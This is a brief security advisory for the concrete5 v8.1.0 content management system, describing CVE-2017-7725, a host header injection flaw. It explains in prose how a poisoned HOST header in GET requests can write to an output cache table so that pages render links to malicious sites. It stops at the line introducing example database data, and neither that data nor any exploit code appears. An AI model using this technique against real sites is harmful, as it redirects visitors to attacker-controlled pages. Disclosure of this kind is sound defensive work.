Vendor:  
==================  
www.concrete5.org  
  
  
  
Product:  
================  
concrete5 v8.1.0  
  
concrete5 is an open-source content management system (CMS) for publishing content on the World Wide Web and intranets.  
  
  
Vulnerability Type:  
======================  
Host Header Injection  
  
  
  
CVE Reference:  
==============  
CVE-2017-7725  
  
  
  
Security Issue:  
================  
If a user does not specify a "canonical" URL on installation of concrete5, unauthenticated remote attackers can write to the  
"collectionversionblocksoutputcache" table of the MySQL Database, by making HTTP GET request with a poisoned HOST header.  
Some affected concrete5 webpages can then potentially render arbitrary links that can point to a malicious website.   
  
Example MySQL data from "CollectionVersionBlocksOutputCache" table.
